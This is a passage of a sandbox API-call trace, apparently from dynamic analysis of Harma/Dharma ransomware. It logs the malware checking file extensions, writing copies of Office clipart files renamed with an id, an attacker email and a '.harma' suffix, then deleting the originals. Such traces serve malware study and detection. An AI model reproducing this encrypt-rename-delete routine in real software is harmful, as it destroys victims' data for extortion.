(lpString=".xlsx") returned 5 [0167.925] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0167.925] lstrlenW (lpString=".ppt") returned 4 [0167.925] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF") returned 63 [0167.925] lstrlenW (lpString=".zip") returned 4 [0167.925] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.925] lstrlenW (lpString=".rar") returned 4 [0167.925] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.925] lstrlenW (lpString=".bz2") returned 4 [0167.925] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.925] lstrlenW (lpString=".7z") returned 3 [0167.925] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF") returned 63 [0167.925] lstrlenW (lpString=".dbf") returned 4 [0167.925] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF") returned 63 [0167.926] lstrlenW (lpString=".1cd") returned 4 [0167.926] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF") returned 63 [0167.926] lstrlenW (lpString=".jpg") returned 4 [0167.926] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF") returned 63 [0167.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF") returned 63 [0167.926] lstrlenW (lpString=".doc") returned 4 [0167.926] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.926] lstrlenW (lpString=".docx") returned 5 [0167.926] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0167.926] lstrlenW (lpString=".pdf") returned 4 [0167.926] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.926] lstrlenW (lpString=".xls") returned 4 [0167.926] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.926] lstrlenW (lpString=".xlsx") returned 5 [0167.926] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0167.926] lstrlenW (lpString=".ppt") returned 4 [0167.926] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF") returned 63 [0167.927] lstrlenW (lpString=".zip") returned 4 [0167.927] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.927] lstrlenW (lpString=".rar") returned 4 [0167.927] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.927] lstrlenW (lpString=".bz2") returned 4 [0167.927] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.927] lstrlenW (lpString=".7z") returned 3 [0167.927] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF") returned 63 [0167.927] lstrlenW (lpString=".dbf") returned 4 [0167.927] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF") returned 63 [0167.927] lstrlenW (lpString=".1cd") returned 4 [0167.927] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF") returned 63 [0167.927] lstrlenW (lpString=".jpg") returned 4 [0167.927] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.927] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0167.927] lstrlenW (lpString="J0105338.WMF") returned 12 [0167.928] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105338.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0167.928] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=11584) returned 1 [0167.928] CloseHandle (hObject=0x340) returned 1 [0167.928] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105338.wmf")) returned 0x20 [0167.928] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105338.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0167.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105338.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0167.929] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0167.929] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0167.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105338.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0167.930] GetLastError () returned 0x0 [0167.930] ReadFile (in: hFile=0x340, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x2d40, lpOverlapped=0x0) returned 1 [0168.015] WriteFile (in: hFile=0x328, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x2d50, lpOverlapped=0x0) returned 1 [0168.016] ReadFile (in: hFile=0x340, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0168.016] WriteFile (in: hFile=0x328, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0168.017] SetEndOfFile (hFile=0x328) returned 1 [0168.017] CloseHandle (hObject=0x328) returned 1 [0168.017] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0168.017] SetEndOfFile (hFile=0x340) returned 1 [0168.019] CloseHandle (hObject=0x340) returned 1 [0168.019] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0168.036] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105338.wmf")) returned 1 [0168.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF") returned 63 [0168.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF") returned 63 [0168.055] lstrlenW (lpString=".doc") returned 4 [0168.055] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.055] lstrlenW (lpString=".docx") returned 5 [0168.055] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0168.056] lstrlenW (lpString=".pdf") returned 4 [0168.056] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.056] lstrlenW (lpString=".xls") returned 4 [0168.056] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.056] lstrlenW (lpString=".xlsx") returned 5 [0168.056] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0168.056] lstrlenW (lpString=".ppt") returned 4 [0168.056] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF") returned 63 [0168.056] lstrlenW (lpString=".zip") returned 4 [0168.056] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.056] lstrlenW (lpString=".rar") returned 4 [0168.056] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.056] lstrlenW (lpString=".bz2") returned 4 [0168.056] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.056] lstrlenW (lpString=".7z") returned 3 [0168.056] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF") returned 63 [0168.056] lstrlenW (lpString=".dbf") returned 4 [0168.056] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF") returned 63 [0168.056] lstrlenW (lpString=".1cd") returned 4 [0168.056] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF") returned 63 [0168.056] lstrlenW (lpString=".jpg") returned 4 [0168.056] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF") returned 63 [0168.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF") returned 63 [0168.056] lstrlenW (lpString=".doc") returned 4 [0168.057] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.057] lstrlenW (lpString=".docx") returned 5 [0168.057] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0168.057] lstrlenW (lpString=".pdf") returned 4 [0168.057] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.057] lstrlenW (lpString=".xls") returned 4 [0168.057] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.057] lstrlenW (lpString=".xlsx") returned 5 [0168.057] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0168.057] lstrlenW (lpString=".ppt") returned 4 [0168.057] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF") returned 63 [0168.057] lstrlenW (lpString=".zip") returned 4 [0168.057] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.057] lstrlenW (lpString=".rar") returned 4 [0168.057] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.057] lstrlenW (lpString=".bz2") returned 4 [0168.057] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.057] lstrlenW (lpString=".7z") returned 3 [0168.057] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF") returned 63 [0168.057] lstrlenW (lpString=".dbf") returned 4 [0168.057] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF") returned 63 [0168.057] lstrlenW (lpString=".1cd") returned 4 [0168.057] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF") returned 63 [0168.057] lstrlenW (lpString=".jpg") returned 4 [0168.057] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.058] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0168.058] lstrlenW (lpString="J0105378.WMF") returned 12 [0168.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105378.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0168.058] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=4964) returned 1 [0168.058] CloseHandle (hObject=0x3a4) returned 1 [0168.058] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105378.wmf")) returned 0x20 [0168.058] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105378.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0168.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105378.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0168.059] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0168.059] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0168.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105378.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0168.060] GetLastError () returned 0x0 [0168.060] ReadFile (in: hFile=0x3a4, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x1364, lpOverlapped=0x0) returned 1 [0168.111] WriteFile (in: hFile=0x39c, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x1370, lpOverlapped=0x0) returned 1 [0168.112] ReadFile (in: hFile=0x3a4, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0168.112] WriteFile (in: hFile=0x39c, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0168.112] SetEndOfFile (hFile=0x39c) returned 1 [0168.112] CloseHandle (hObject=0x39c) returned 1 [0168.113] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0168.113] SetEndOfFile (hFile=0x3a4) returned 1 [0168.115] CloseHandle (hObject=0x3a4) returned 1 [0168.115] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0168.115] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105378.wmf")) returned 1 [0168.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF") returned 63 [0168.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF") returned 63 [0168.116] lstrlenW (lpString=".doc") returned 4 [0168.116] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.116] lstrlenW (lpString=".docx") returned 5 [0168.116] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0168.116] lstrlenW (lpString=".pdf") returned 4 [0168.116] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.116] lstrlenW (lpString=".xls") returned 4 [0168.116] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.116] lstrlenW (lpString=".xlsx") returned 5 [0168.116] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0168.116] lstrlenW (lpString=".ppt") returned 4 [0168.116] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF") returned 63 [0168.117] lstrlenW (lpString=".zip") returned 4 [0168.117] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.117] lstrlenW (lpString=".rar") returned 4 [0168.117] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.117] lstrlenW (lpString=".bz2") returned 4 [0168.117] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.117] lstrlenW (lpString=".7z") returned 3 [0168.117] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF") returned 63 [0168.117] lstrlenW (lpString=".dbf") returned 4 [0168.117] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF") returned 63 [0168.117] lstrlenW (lpString=".1cd") returned 4 [0168.117] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF") returned 63 [0168.117] lstrlenW (lpString=".jpg") returned 4 [0168.117] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF") returned 63 [0168.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF") returned 63 [0168.117] lstrlenW (lpString=".doc") returned 4 [0168.117] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.117] lstrlenW (lpString=".docx") returned 5 [0168.117] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0168.117] lstrlenW (lpString=".pdf") returned 4 [0168.117] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.117] lstrlenW (lpString=".xls") returned 4 [0168.117] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.117] lstrlenW (lpString=".xlsx") returned 5 [0168.117] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0168.117] lstrlenW (lpString=".ppt") returned 4 [0168.118] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF") returned 63 [0168.118] lstrlenW (lpString=".zip") returned 4 [0168.118] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.118] lstrlenW (lpString=".rar") returned 4 [0168.118] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.118] lstrlenW (lpString=".bz2") returned 4 [0168.118] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.118] lstrlenW (lpString=".7z") returned 3 [0168.118] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF") returned 63 [0168.118] lstrlenW (lpString=".dbf") returned 4 [0168.118] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF") returned 63 [0168.118] lstrlenW (lpString=".1cd") returned 4 [0168.118] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF") returned 63 [0168.118] lstrlenW (lpString=".jpg") returned 4 [0168.118] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.118] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0168.118] lstrlenW (lpString="J0105386.WMF") returned 12 [0168.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105386.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0168.119] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=5980) returned 1 [0168.119] CloseHandle (hObject=0x3a4) returned 1 [0168.119] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105386.wmf")) returned 0x20 [0168.119] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105386.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0168.120] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105386.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0168.120] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0168.120] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0168.120] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105386.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0168.121] GetLastError () returned 0x0 [0168.121] ReadFile (in: hFile=0x3a4, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x175c, lpOverlapped=0x0) returned 1 [0168.210] WriteFile (in: hFile=0x39c, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x1760, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x1760, lpOverlapped=0x0) returned 1 [0168.211] ReadFile (in: hFile=0x3a4, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0168.211] WriteFile (in: hFile=0x39c, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0168.211] SetEndOfFile (hFile=0x39c) returned 1 [0168.212] CloseHandle (hObject=0x39c) returned 1 [0168.212] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0168.212] SetEndOfFile (hFile=0x3a4) returned 1 [0168.214] CloseHandle (hObject=0x3a4) returned 1 [0168.214] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0168.282] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105386.wmf")) returned 1 [0168.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF") returned 63 [0168.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF") returned 63 [0168.369] lstrlenW (lpString=".doc") returned 4 [0168.369] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.369] lstrlenW (lpString=".docx") returned 5 [0168.369] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0168.369] lstrlenW (lpString=".pdf") returned 4 [0168.369] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.369] lstrlenW (lpString=".xls") returned 4 [0168.369] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.369] lstrlenW (lpString=".xlsx") returned 5 [0168.369] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0168.369] lstrlenW (lpString=".ppt") returned 4 [0168.369] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF") returned 63 [0168.369] lstrlenW (lpString=".zip") returned 4 [0168.369] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.369] lstrlenW (lpString=".rar") returned 4 [0168.369] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.369] lstrlenW (lpString=".bz2") returned 4 [0168.369] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.369] lstrlenW (lpString=".7z") returned 3 [0168.369] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.370] lstrlenW (lpString="C:\\Program 